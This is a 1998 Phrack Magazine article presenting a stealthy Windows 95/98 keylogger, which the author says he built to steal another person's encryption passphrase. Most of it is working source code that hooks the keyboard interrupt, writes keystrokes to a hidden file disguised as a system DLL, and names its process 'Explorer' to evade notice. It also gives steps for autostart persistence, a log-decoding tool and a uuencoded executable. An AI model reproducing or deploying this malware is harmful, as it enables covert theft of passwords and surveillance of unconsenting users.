hacking

	---[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 07 of 15


	-------------------------[ A Stealthy Windows Keylogger


	--------[ markj8@usa.net


	I recently felt the need to acquire some data being typed into Windows95
	machines on a small TCP-IP network. I had occasional physical access to the
	machines and I knew the remote administration password, but the files were
	being saved in BestCryptNP volumes, the passphrase for which I didn't know...

	I searched the Net as best I could for a suitable keylogging program that
	would allow me to capture the passphrase without being noticed, but all I
	could find was I big boggy thing written in visual basic that insisted on
	opening a window. I decided to write my own. I wanted to write it as a VXD
	because they run at Privilege Level 0 and can do just about ANYTHING. I soon
	gave up on this idea because I couldn't acquire the correct tools and certainly
	couldn't afford to buy them.

	While browsing through the computer section of my local public library one
	day I noticed a rather thin book called "WINDOWS ASSEMBLY LANGUAGE and SYSTEMS
	PROGRAMMING" by Barry Kauler, (ISBN 0 13 020207 X) c 1993. A quick flick
	through the Table of Contents revealed "Chapter 10: Real-Time Events, Enhanced
	Mode Hardware Interrupts". I immediately borrowed the book and photocopied
	it (Sorry about the royalties Barry). As I read chapter 10 I realized that
	all I needed was a small 16 bit Windows program running as a normal user
	process to capture every keystroke typed into windows. The only caveat was
	that keystrokes typed into DOS boxes wouldn't be captured. Big deal. I could
	live without that. I was stunned to discover that all user programs in Windows
	share a single Interrupt Descriptor Table (IDT). This implies that if one
	user program patches a vector in the IDT, then all other programs are
	immediately affected.

	The only tool I had for generating windows executables was Borland C Ver
	2.0 which makes small and cute windows 3.0 EXE's, so that's what I used. I
	have tested it on Windows for Workgroups 3.11, Windows 95 OSR2, and Windows 98
	beta 3. It will probably work on Windows 3.x as well.

	As supplied, it will create a hidden file in the \WINDOWS\SYSTEM directory
	called POWERX.DLL and record all keystrokes into it using the same encoding
	scheme as Doc Cypher's KEYTRAP3.COM program for DOS. This means that you can
	use the same conversion program, CONVERT3.C, to convert the raw scancodes in
	the log file to readable ASCII. I have included a slightly "improved" version
	of CONVERT3.C with a couple of bugs fixed. I contemplated incorporating the
	functionality of CONVERT3 into W95Klog, but decided that logging scancodes
	was "safer" that logging plain ASCII. If the log file is larger that 2
	megabytes when the program starts, it will be deleted and re-created with
	length zero. When you press CTRL-ALT-DEL (in windows95/98) to look at the
	Task List, W95Klog will show up as "Explorer". You can change this by editing
	the .DEF file and recompiling, or by HEX Editing the .EXE file. If anyone
	knows how to stop a user program from showing on this list please tell me.

	To cause the target machine to run W95Klog every time it starts Windows
	you can:

	1) Edit win.ini, [windows] section to say run=WHLPFFS.EXE or some such
	confusing name :) Warning! This will cause a nasty error message if
	WHLPFFS.EXE can't be found. This method has the advantage of being able to be
	performed over the network via "remote administration" without the need for
	both computers to be running "remote registry service".

	2) Edit the registry key: (Win95/98)
	`HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run` and create
	a new key called whatever you like with a string value of "WHLPFFS.EXE" or
	whatever. This is my preferred method because it is less likely to be stumbled
	upon by the average user and windows continues without complaint if the
	executable can't be found. The log file can be retrieved via the network even
	when it is still open for writing by the logging program. This is very
	convenient ;).


	<++> EX/win95log/convert.c
	//
	// Convert v3.0
	// Keytrap logfile converter.
	// By dcypher <dcypher@mhv.net>
	// MSVC++1.52 (Or Borland C 1.01, 2.0 ...)
	// Released: 8/8/95
	//
	// Scancodes above 185(0xB9) are converted to "<UK>", UnKnown.
	//

	#include <stdio.h>

	#define MAXKEYS 256
	#define WS 128

	const char *keys[MAXKEYS];

	void main(int argc,char *argv[])
	{
	FILE *stream1;
	FILE *stream2;

	unsigned int Ldata,Nconvert=0,Yconvert=0;
	char logf_name[100],outf_name[100];

	//
	// HERE ARE THE KEY ASSIGNMENTS !!
	//
	// You can change them to anything you want.
	// If any of the key assignments are wrong, please let
	// me know. I havn't checked all of them, but it looks ok.
	//
	// v--- Scancodes logged by the keytrap TSR
	// v--- Converted to the string here

	keys[1] = "<uk>";
	keys[2] = "1";
	keys[3] = "2";
	keys[4] = "3";
	keys[5] = "4";
	keys[6] = "5";
	keys[7] = "6";
	keys[8] = "7";
	keys[9] = "8";
	keys[10] = "9";
	keys[11] = "0";
	keys[12] = "-";
	keys[13] = "=";
	keys[14] = "<bsp>";
	keys[15] = "<tab>";
	keys[16] = "q";
	keys[17] = "w";
	keys[18] = "e";
	keys[19] = "r";
	keys[20] = "t";
	keys[21] = "y";
	keys[22] = "u";
	keys[23] = "i";
	keys[24] = "o";
	keys[25] = "p";
	keys[26] = "["; /* = ^Z Choke! */
	keys[27] = "]";
	keys[28] = "<ret>";
	keys[29] = "<ctrl>";
	keys[30] = "a";
	keys[31] = "s";
	keys[32] = "d";
	keys[33] = "f";
	keys[34] = "g";
	keys[35] = "h";
	keys[36] = "j";
	keys[37] = "k";
	keys[38] = "l";
	keys[39] = ";";
	keys[40] = "'";
	keys[41] = "`";
	keys[42] = "<LEFT SHIFT>"; // left shift - not logged by the tsr
	keys[43] = "\\"; // and not converted
	keys[44] = "z";
	keys[45] = "x";
	keys[46] = "c";
	keys[47] = "v";
	keys[48] = "b";
	keys[49] = "n";
	keys[50] = "m";
	keys[51] = ",";
	keys[52] = ".";
	keys[53] = "/";
	keys[54] = "<RIGHT SHIFT>"; // right shift - not logged by the tsr
	keys[55] = "*"; // and not converted
	keys[56] = "<alt>";
	keys[57] = " ";

	// now show with shift key
	// the TSR adds 128 to the scancode to show shift/caps

	keys[1+WS] = "["; /* was "<unknown>" but now fixes ^Z problem */
	keys[2+WS] = "!";
	keys[3+WS] = "@";
	keys[4+WS] = "#";
	keys[5+WS] = "$";
	keys[6+WS] = "%";
	keys[7+WS] = "^";
	keys[8+WS] = "&";
	keys[9+WS] = "*";
	keys[10+WS] = "(";
	keys[11+WS] = ")";
	keys[12+WS] = "_";
	keys[13+WS] = "+";
	keys[14+WS] = "<shift+bsp>";
	keys[15+WS] = "<shift+tab>";
	keys[16+WS] = "Q";
	keys[17+WS] = "W";
	keys[18+WS] = "E";
	keys[19+WS] = "R";
	keys[20+WS] = "T";
	keys[21+WS] = "Y";
	keys[22+WS] = "U";
	keys[23+WS] = "I";
	keys[24+WS] = "O";
	keys[25+WS] = "P";
	keys[26+WS] = "{";
	keys[27+WS] = "}";
	keys[28+WS] = "<shift+ret>";
	keys[29+WS] = "<shift+ctrl>";
	keys[30+WS] = "A";
	keys[31+WS] = "S";
	keys[32+WS] = "D";
	keys[33+WS] = "F";
	keys[34+WS] = "G";
	keys[35+WS] = "H";
	keys[36+WS] = "J";
	keys[37+WS] = "K";
	keys[38+WS] = "L";
	keys[39+WS] = ":";
	keys[40+WS] = "\"";
	keys[41+WS] = "~";
	keys[42+WS] = "<LEFT SHIFT>"; // left shift - not logged by the tsr
	keys[43+WS] = "\|"; // and not converted
	keys[44+WS] = "Z";
	keys[45+WS] = "X";
	keys[46+WS] = "C";
	keys[47+WS] = "V";
	keys[48+WS] = "B";
	keys[49+WS] = "N";
	keys[50+WS] = "M";
	keys[51+WS] = "<";
	keys[52+WS] = ">";
	keys[53+WS] = "?";
	keys[54+WS] = "<RIGHT SHIFT>"; // right shift - not logged by the tsr
	keys[55+WS] = "<shift+*>"; // and not converted
	keys[56+WS] = "<shift+alt>";
	keys[57+WS] = " ";

	printf("\n");
	printf("Convert v3.0\n");
	// printf("Keytrap logfile converter.\n");
	// printf("By dcypher <dcypher@mhv.net>\n\n");
	printf("Usage: CONVERT infile outfile\n");
	printf("\n");

	if (argc==3)
	{
	strcpy(logf_name,argv[1]);
	strcpy(outf_name,argv[2]);
	}

	else
	{
	printf("Enter infile name: ");
	scanf("%99s",&logf_name);
	printf("Enter outfile name: ");
	scanf("%99s",&outf_name);
	printf("\n");
	}

	stream1=fopen(logf_name,"rb");
	stream2=fopen(outf_name,"a+b");

	if (stream1==NULL \|\| stream2==NULL)
	{
	if (stream1==NULL)
	printf("Error opening: %s\n\a",logf_name);
	else
	printf("Error opening: %s\n\a",outf_name);
	}

	else
	{
	fseek(stream1,0L,SEEK_SET);
	printf("Reading data from: %s\n",logf_name);
	printf("Appending information to..: %s\n",outf_name);

	while (feof(stream1)==0)
	{
	Ldata=fgetc(stream1);

	if (Ldata>0
	&& Ldata<186)
	{
	if (Ldata==28 \|\| Ldata==28+WS)
	{
	fputs(keys[Ldata],stream2);
	fputc(0x0A,stream2);
	fputc(0x0D,stream2);
	Yconvert++;
	}
	else
	fputs(keys[Ldata],stream2);
	Yconvert++;
	}
	else
	{
	fputs("<UK>",stream2);
	Nconvert++;
	}

	}
	}

	fflush(stream2);
	printf("\n\n");
	printf("Data converted....: %i\n",Yconvert);
	printf("Data not converted: %i\n",Nconvert);
	printf("\n");
	printf("Closeing infile: %s\n",logf_name);
	printf("Closeing outfile: %s\n",outf_name);
	fclose(stream1);
	fclose(stream2);
	}

	<-->
	<++> EX/win95log/W95Klog.c
	/*
	* W95Klog.C Windows stealthy keylogging program
	*/

	/*
	* This will ONLY compile with BORLANDC V2.0 small model.
	* For other compilers you will have to change newint9()
	* and who knows what else :)
	*
	* Captures ALL interesting keystrokes from WINDOWS applications
	* but NOT from DOS boxes.
	* Tested OK on WFW 3.11, Win95 OSR2 and Win98 Beta 3.
	*/

	#include <windows.h>
	#include <string.h>
	#include <stdlib.h>
	#include <stdio.h>
	#include <dos.h>

	//#define LOGFILE "~473C96.TMP" //Name of log file in WINDOWS\TEMP
	#define LOGFILE "POWERX.DLL" //Name of log file in WINDOWS\SYSTEM
	#define LOGMAXSIZE 2097152 //Max size of log file (2Megs)

	#define HIDDEN 2
	#define SEEK_END 2

	#define NEWVECT 018h // "Unused" int that is used to call old
	// int 9 keyboard routine.
	// Was used for ROMBASIC on XT's
	// Change it if you get a conflict with some
	// very odd program. Try 0f9h.

	/*********** Global Variables in DATA SEGment **************/

	HWND hwnd; // used by newint9()
	unsigned int offsetint; // old int 9 offset
	unsigned int selectorint; // old int 9 selector
	unsigned char scancode; // scan code from keyboard

	//WndProc
	char sLogPath[160];
	int hLogFile;
	long lLogPos;
	char sLogBuf[10];

	//WinMain
	char szAppName[]="Explorer";
	MSG msg;
	WNDCLASS wndclass;

	/***************************************************************/

	//
	//__________________________
	void interrupt newint9(void) //This is the new int 9 (keyboard) code
	// It is a hardware Interrupt Service Routine. (ISR)
	{
	scancode=inportb(0x60);
	if((scancode<0x40)&&(scancode!=0x2a)) {
	if(peekb(0x0040, 0x0017)&0x40) { //if CAPSLOCK is active
	// Now we have to flip UPPER/lower state of A-Z only! 16-25,30-38,44-50
	if(((scancode>15)&&(scancode<26))\|\|((scancode>29)&&(scancode<39))\|\|
	((scancode>43)&&(scancode<51))) //Phew!
	scancode^=128; //bit 7 indicates SHIFT state to CONVERT.C program
	}//if CAPSLOCK
	if(peekb(0x0040, 0x0017)&3) //if any shift key is pressed...
	scancode^=128; //bit 7 indicates SHIFT state to CONVERT.C program
	if(scancode==26) //Nasty ^Z bug in convert program
	scancode=129; //New code for "["

	//Unlike other Windows functions, an application may call PostMessage
	// at the hardwareinterrupt level. (Thankyou Micr$oft!)
	PostMessage(hwnd, WM_USER, scancode, 0L); //Send scancode to WndProc()
	}//if scancode in range

	asm { //This is very compiler specific, & kinda ugly!
	pop bp
	pop di
	pop si
	pop ds
	pop es
	pop dx
	pop cx
	pop bx
	pop ax
	int NEWVECT // Call the original int 9 Keyboard routine
	iret // and return from interrupt
	}
	}//end newint9


	//This is the "callback" function that handles all messages to our "window"
	//_____________________________________________________________________
	long FAR PASCAL WndProc(HWND hwnd,WORD message,WORD wParam,LONG lParam)
	{

	//asm int 3; //For Soft-ice debugging
	//asm int 18h; //For Soft-ice debugging

	switch(message) {
	case WM_CREATE: // hook the keyboard hardware interupt
	asm {
	pusha
	push es
	push ds
	// Now get the old INT 9 vector and save it...
	mov al,9
	mov ah,35h // into ES:BX
	int 21h
	push es
	pop ax
	mov offsetint,bx // save old vector in data segment
	mov selectorint,ax // /
	mov dx,OFFSET newint9 // This is an OFFSET in the CODE segment
	push cs
	pop ds // New vector in DS:DX
	mov al,9
	mov ah,25h
	int 21h // Set new int 9 vector
	pop ds // get data seg for this program
	push ds
	// now hook unused vector
	// to call old int 9 routine
	mov dx,offsetint
	mov ax,selectorint
	mov ds,ax
	mov ah,25h
	mov al,NEWVECT
	int 21h
	// Installation now finished
	pop ds
	pop es
	popa
	} // end of asm

	//Get path to WINDOWS directory
	if(GetWindowsDirectory(sLogPath,150)==0) return 0;

	//Put LOGFILE on end of path
	strcat(sLogPath,"\\SYSTEM\\");
	strcat(sLogPath,LOGFILE);
	do {
	// See if LOGFILE exists
	hLogFile=_lopen(sLogPath,OF_READ);
	if(hLogFile==-1) { // We have to Create it
	hLogFile=_lcreat(sLogPath,HIDDEN);
	if(hLogFile==-1) return 0; //Die quietly if can't create LOGFILE
	}
	_lclose(hLogFile);

	// Now it exists and (hopefully) is hidden....
	hLogFile=_lopen(sLogPath,OF_READWRITE); //Open for business!
	if(hLogFile==-1) return 0; //Die quietly if can't open LOGFILE
	lLogPos=_llseek(hLogFile,0L,SEEK_END); //Seek to the end of the file
	if(lLogPos==-1) return 0; //Die quietly if can't seek to end
	if(lLogPos>LOGMAXSIZE) { //Let's not fill the harddrive...
	_lclose(hLogFile);
	_chmod(sLogPath,1,0);
	if(unlink(sLogPath)) return 0; //delete or die
	}//if file too big
	} while(lLogPos>LOGMAXSIZE);
	break;

	case WM_USER: // A scan code....
	*sLogBuf=(char)wParam;
	_write(hLogFile,sLogBuf,1);
	break;

	case WM_ENDSESSION: // Is windows "restarting" ?
	case WM_DESTROY: // Or are we being killed ?
	asm{
	push dx
	push ds
	mov dx,offsetint
	mov ds,selectorint
	mov ax,2509h
	int 21h //point int 09 vector back to old
	pop ds
	pop dx
	}
	_lclose(hLogFile);
	PostQuitMessage(0);
	return(0);
	} //end switch

	//This handles all the messages that we don't want to know about
	return DefWindowProc(hwnd,message,wParam,lParam);
	}//end WndProc

	/**********************************************************/
	int PASCAL WinMain (HANDLE hInstance, HANDLE hPrevInstance,
	LPSTR lpszCmdParam, int nCmdShow)
	{

	if (!hPrevInstance) { //If there is no previous instance running...
	wndclass.style = CS_HREDRAW \| CS_VREDRAW;
	wndclass.lpfnWndProc = WndProc; //function that handles messages
	// for this window class
	wndclass.cbClsExtra = 0;
	wndclass.cbWndExtra = 0;
	wndclass.hInstance = hInstance;
	wndclass.hIcon = NULL;
	wndclass.hCursor = NULL;
	wndclass.hbrBackground = NULL;
	wndclass.lpszClassName = szAppName;

	RegisterClass (&wndclass);

	hwnd = CreateWindow(szAppName, //Create a window
	szAppName, //window caption
	WS_OVERLAPPEDWINDOW, //window style
	CW_USEDEFAULT, //initial x position
	CW_USEDEFAULT, //initial y position
	CW_USEDEFAULT, //initial x size
	CW_USEDEFAULT, //initial y size
	NULL, //parent window handle
	NULL, //Window Menu handle
	hInstance, //program instance handle
	NULL); //creation parameters

	//ShowWindow(hwnd,nCmdShow); //We don't want no
	//UpdateWindow(hwnd); // stinking window!

	while (GetMessage(&msg,NULL,0,0)) {
	TranslateMessage(&msg);
	DispatchMessage(&msg);
	}
	}//if no previous instance of this program is running...
	return msg.wParam; //Program terminates here after falling out
	} //End of WinMain of the while() loop.
	<-->
	<++> EX/win95log/W95KLOG.DEF
	;NAME is what shows in CTRL-ALT-DEL Task list... hmmmm
	NAME Explorer
	DESCRIPTION 'Explorer'
	EXETYPE WINDOWS
	CODE PRELOAD FIXED
	DATA PRELOAD FIXED SHARED
	HEAPSIZE 2048
	STACKSIZE 8096
	<-->
	<++> EX/win95log/W95KLOG.EXE.uue
	begin 600 W95KLOG.EXE
	M35H"`08````$``\`__\``+@`````````0```````````````````````````
	M````````````````````D````+H0``X?M`G-(;@!3,TAD)!4:&ES('!R;V=R
	M86T@;75S="!B92!R=6X@=6YD97(@36EC<F]S;V9T(%=I;F1O=W,N#0HD````
	M````````````3D4%"FT``@```````@,"```(H!\```$````"``(``@`,`$``
	M4`!0`%P`8`#_```````)`````@@!``<``````P(`U05`#=4%!@`F`F$,)@((
	M17AP;&]R97(````!``@```9+15).14P$55-%4@``"$5X<&QO<F5R````````
	M````````````````````````````````````````````````````````````
	M````````````````````````````````````````````````````````````
	M````````````````````````````````````````````````````````````
	M````````````````````````````````````````````````````````````
	M````````````````````````````````````````````````````````````
	M````````````````````````````````````````````````````````````
	M````````````````````````````````````````````````````````````
	M````````````````````````````````````````````````````````````
	M````````````````````````````````````````````````````````````
	M````````````````````````````````````````````````````````````
	M````````````````````````````````````````````````````````````
	M````````````````````````````````````````````````````````````
	M````````````````````````````````````````````````````````````
	M````````````````````````````````````````````````````````````
	M````````````````````````````````````````````````````````````
	M````````````````````````````````````````````````````````````
	M`````````````````````````````````````````````)K__P``"\!U`^G$
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	end
	<-->

	----[ EOF